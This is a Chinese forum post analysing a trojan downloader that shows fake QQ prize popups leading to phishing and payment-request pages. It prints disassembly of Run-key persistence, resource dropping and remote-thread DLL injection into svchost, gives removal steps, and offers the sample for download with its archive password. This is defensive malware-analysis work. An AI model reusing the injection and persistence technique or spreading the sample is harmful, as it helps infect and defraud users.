本帖最后由 willJ 于 2012-5-3 17:47 编辑
好久没有分析过病毒啦,为了练手就去down了一个样本来玩玩,没有想到居然是一个钓鱼的,记得我高中就被这样单纯的钓过。 一. 病毒描述: 通过运行这个病毒,病毒会去下载很多东西回来,并模仿弹出QQ系统消息,告知用户中奖了,用户如果点击了就进入了钓鱼的界面。 二. 病毒文件: 三. 病毒母体的工作流程: 1. 先查壳,如图: 可见是c写的,但是作者应该做了区段合并的操作,可能是为了减小体积吧。 2. 做了一系列的获取system32还有自身位置的操作,然后将c:\windows\system32\updater.exe写入注册表,做自启动: .text:00401D80 push eax ; phkResult
.text:00401D81 push offset SubKey ; 00401D81 |. 68 50134000 "SOFTWARE\Microsoft\Windows\CurrentVersion\Run"
.text:00401D86 push 80000002h ; hKey
.text:00401D8B rep movsb
.text:00401D8D call RegCreateKeyA
…
.text:00401DB7 push ecx ; cbData
.text:00401DB8 lea ecx, [esp+57Ch+Data]
.text:00401DBC push ecx ; lpData
.text:00401DBD push 1 ; dwType
.text:00401DBF push eax ; Reserved
.text:00401DC0 push offset ValueName ; "updater"
.text:00401DC5 push edx ; hKey
.text:00401DC6 call RegSetValueExA
3. 接着获取了temp目录,准备在temp目录下释放文件: .text:00401E25 push ecx ; lpBuffer
.text:00401E26 push 0FFh ; nBufferLength
.text:00401E2B stosb
.text:00401E2C call GetTempPathA
…
获取好了temp目录后做了资源文件释放的操作,最后在temp目录下面释放了一个tmp.tmp的文件: .text:00401628 push ebx
.text:00401629 push esi
.text:0040162A push edi
.text:0040162B and ecx, 0FFFFh
.text:00401631 push eax ; lpType
.text:00401632 push ecx ; lpName
.text:00401633 push 0 ; hModule
.text:00401635 call FindResourceA
.text:0040163B mov esi, eax
.text:0040163D test esi, esi
.text:0040163F jz short loc_4016A1
.text:00401641 push esi ; hResInfo
.text:00401642 push 0 ; hModule
.text:00401644 call SizeofResource
.text:0040164A mov ebx, eax
.text:0040164C test ebx, ebx
.text:0040164E jz short loc_4016A1
.text:00401650 push esi ; hResInfo
.text:00401651 push 0 ; hModule
.text:00401653 call LoadResource
.text:00401659 mov edi, eax
.text:0040165B test edi, edi
.text:0040165D jz short loc_4016A1
.text:0040165F mov edx, [esp+0Ch+lpFileName]
.text:00401663 push 0 ; hTemplateFile
.text:00401665 push 0 ; dwFlagsAndAttributes
.text:00401667 push 2 ; dwCreationDisposition
.text:00401669 push 0 ; lpSecurityAttributes
.text:0040166B push 0 ; dwShareMode
.text:0040166D push 40000000h ; dwDesiredAccess
.text:00401672 push edx ; lpFileName
.text:00401673 call CreateFileA
.text:00401679 mov esi, eax
.text:0040167B test esi, esi
.text:0040167D jnz short loc_401683
.text:0040167F pop edi
.text:00401680 pop esi
.text:00401681 pop ebx
.text:00401682 retn
.text:00401683 ; ---------------------------------------------------------------------------
.text:00401683
.text:00401683 loc_401683: ; CODE XREF: sub_401620+5Dj
.text:00401683 lea eax, [esp+0Ch+NumberOfBytesWritten]
.text:00401687 push 0 ; lpOverlapped
.text:00401689 push eax ; lpNumberOfBytesWritten
.text:0040168A push ebx ; nNumberOfBytesToWrite
.text:0040168B push edi ; hResData
.text:0040168C call LockResource
.text:00401692 push eax ; lpBuffer
.text:00401693 push esi ; hFile
.text:00401694 call WriteFile
.text:0040169A push esi ; hObject
.text:0040169B call CloseHandle
4. 获取system32目录的svchost文件,然后启动这个文件,为后面远线程注入做准备: .text:00401F54 push ecx ; lpStartupInfo
.text:00401F55 push 0 ; lpCurrentDirectory
.text:00401F57 push 0 ; lpEnvironment
.text:00401F59 push 4 ; dwCreationFlags
.text:00401F5B push 0 ; bInheritHandles
.text:00401F5D push 0 ; lpThreadAttributes
.text:00401F5F push 0 ; lpProcessAttributes
.text:00401F61 push offset CommandLine ; lpCommandLine
.text:00401F66 push edx ; lpApplicationName
.text:00401F67 call CreateProcessA
…
5.开始进行远线程注入了,将刚释放的tmp.tmp文件(其实是一个dll)注入到svchost中。 .text:004016F5 push ecx ; dwProcessId
.text:004016F6 push 0 ; bInheritHandle
.text:004016F8 push
43Ah ; dwDesiredAccess
.text:004016FD call OpenProcess
…
.text:00401715 push 40h ; flProtect
.text:00401717 push 3000h ; flAllocationType
.text:0040171C push 104h ; dwSize
.text:00401721 push 0 ; lpAddress
.text:00401723 push esi ; hProcess
.text:00401724 call VirtualAllocEx
…
.text:0040173C push 0 ; lpNumberOfBytesWritten
.text:0040173E lea edx, [esp+11Ch+Buffer]
.text:00401742 push 104h ; nSize
.text:00401747 push edx ; lpBuffer
.text:00401748 push edi ; lpBaseAddress
.text:00401749 push esi ; hProcess
.text:0040174A call WriteProcessMemory
…
.text:0040177C lea ecx, [esp+118h+ThreadId]
.text:00401780 push ecx ; lpThreadId
.text:00401781 push 0 ; dwCreationFlags
.text:00401783 push edi ; lpParameter
.text:00401784 push
eax ; lpStartAddress
.text:00401785 push 0 ; dwStackSize
.text:00401787 push 0 ; lpThreadAttributes
.text:00401789 push esi ; hProcess
.text:0040178A call CreateRemoteThread
6.动态获取下载相关的API,为后面的下载做准备: text:004017E0 sub esp, 120h
.text:004017E6 push ebx
.text:004017E7 push ebp
.text:004017E8 push esi
.text:004017E9 mov esi, LoadLibraryA
.text:004017EF push
edi
.text:004017F0 push offset aInternetopena ;
"InternetOpenA"
.text:004017F5 push offset LibFileName ;
"wininet.dll"
.text:004017FA call esi ; LoadLibraryA
.text:004017FC mov edi, GetProcAddress
.text:00401802 push eax ; hModule
.text:00401803 call edi ; GetProcAddress
.text:00401805 push offset aInternetopenur ; "InternetOpenUrlA"
.text:0040180A push offset LibFileName ;
"wininet.dll"
.text:0040180F mov ebx, eax
.text:00401811 call esi ; LoadLibraryA
.text:00401813 push eax ; hModule
.text:00401814 call edi ; GetProcAddress
.text:00401816 push offset aInternetcloseh ;
"InternetCloseHandle"
.text:0040181B push offset LibFileName ;
"wininet.dll"
.text:00401820 mov ebp,
eax
.text:00401822 call esi ; LoadLibraryA
.text:00401824 push eax ; hModule
.text:00401825 call edi ; GetProcAddress
7.开始执行下载任务: .text:00401827 push 0
.text:00401829 push 0
.text:0040182B push 0
.text:0040182D push 0
.text:0040182F push offset aBaidu ; "baidu"
.text:00401834 mov [esp+144h+var_118], eax
.text:00401838 call
ebx
下面全部是下载来的东东: 然后打开了一个导航网站: 在电脑的右下角出现了很熟悉的东西,当时虚拟机就没有QQ 运行,居然还弹了通知出来,还有中奖信息: 那我就点进去看看,马上浏览器弹出一个对话框: 做得很是仿真啊,继续下一步吧: 正确输入后: 然后就开始收集个人信息了: 填写完信息后: 这里就开始让人汇款过去了: 这些东东就是下载者下载过来的。
四. 总结以及对策: 这个木马主要是通过注入到svchost(为了隐藏自己),然后通过网络去下载它需要钓鱼的程序,通过钓鱼来达到获取利益的目的。
在注册表中,找到HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run,删除这个键值。 结束掉和这个程序有关的进程: 删除掉C:\Documents and Settings\Administrator\Local Settings\Temp里面木马下载的文件: 删除掉桌面上劫持的IE图标: 更简单的清除方法就是用安全软件清除,比如360安全卫士,360杀毒完全可以解决这些问题。 本人刚学病毒分析,很多东西分析得不好,还请各位大牛多多指点,指导,小弟会多多向您们学习的。 最后上传下病毒样本吧,解压密码:52pojie
|